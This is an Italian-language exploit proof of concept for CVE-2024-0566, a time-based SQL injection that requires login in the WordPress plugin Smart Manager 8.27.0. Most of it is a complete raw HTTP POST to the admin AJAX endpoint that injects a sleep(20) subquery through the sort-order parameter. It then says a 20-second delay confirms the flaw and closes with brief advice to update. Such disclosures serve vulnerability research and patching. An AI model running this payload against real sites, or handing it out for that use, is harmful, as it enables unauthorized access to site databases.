
Exploit proof-of-concept per CVE-2024-0566, una SQL injection time-based post-autenticazione nel plugin WordPress Smart Manager 8.27.0. Dimostra l'iniezione tramite parametri di ordinamento nell'endpoint AJAX dell'amministratore.
Titolo Exploit: Smart Manager 8.27.0 - SQL Injection post-autenticazione
Data: 2024-01-18
Autore Exploit: Ivan Spiridonov - xbz0n
Sito del Venditore: https://www.storeapps.org/
Link del Software: https://www.storeapps.org/product/smart-manager/
Versione: 8.27.0
Testato su: Ubuntu 22.04
CVE: CVE-2024-0566
Il plugin non sanifica e non escape correttamente un parametro prima di utilizzarlo in un'istruzione SQL, portando a un'iniezione SQL sfruttabile da utenti con privilegi elevati come l'admin.
La vulnerabilità si trova all'interno dell'endpoint AJAX admin, nei parametri di ordinamento 'sort_params%5BsortOrder%5D' e 'sort_params%5Bcolumn%5D'. Manipolando questi parametri, un attaccante autenticato può iniettare comandi SQL, portando a una vulnerabilità di SQL Injection basata sul tempo.
POST /wp-admin/admin-ajax.php?action=sm_beta_include_file HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/admin.php?page=smart-manager
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1117
Origin: http://localhost
Connection: close
Cookie: Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
cmd=get_data_model&active_module=product&security=37e8d818b7&is_public=1&sm_page=1&sm_limit=50&SM_IS_WOO30=true&sort_params%5Bcolumn%5D=postmeta%2Fmeta_key%3D_tax_status%2Fmeta_value%3D_tax_status&sort_params%5BsortOrder%5D=asc%2c(select*from(select(sleep(20)))a)&table_model%5Bposts%5D%5Bpkey%5D=ID&table_model%5Bposts%5D%5Bjoin_on%5D=&table_model%5Bposts%5D%5Bwhere%5D%5Bpost_type%5D%5B%5D=product&table_model%5Bposts%5D%5Bwhere%5D%5Bpost_type%5D%5B%5D=product_variation&table_model%5Bposts%5D%5Bwhere%5D%5Bpost_status%5D=any&table_model%5Bpostmeta%5D%5Bpkey%5D=post_id&table_model%5Bpostmeta%5D%5Bjoin_on%5D=postmeta.post_ID+%3D+posts.ID&table_model%5Bterm_relationships%5D%5Bpkey%5D=object_id&table_model%5Bterm_relationships%5D%5Bjoin_on%5D=term_relationships.object_id+%3D+posts.ID&table_model%5Bterm_taxonomy%5D%5Bpkey%5D=term_taxonomy_id&table_model%5Bterm_taxonomy%5D%5Bjoin_on%5D=term_taxonomy.term_taxonomy_id+%3D+term_relationships.term_taxonomy_id&table_model%5Bterms%5D%5Bpkey%5D=term_id&table_model%5Bterms%5D%5Bjoin_on%5D=terms.term_id+%3D+term_taxonomy.term_id&search_text=&advanced_search_query=%5B%5D&is_view=0&isTasks=0&is_taxonomy=0
Se la risposta del server viene ritardata di circa 20 secondi, indica uno sfruttamento riuscito dell'SQL Injection basata sul tempo, confermando la vulnerabilità.
Si consiglia vivamente agli utenti di Smart Manager v8.27.0 di limitare l'accesso all'endpoint interessato e di aggiornare il plugin all'ultima versione.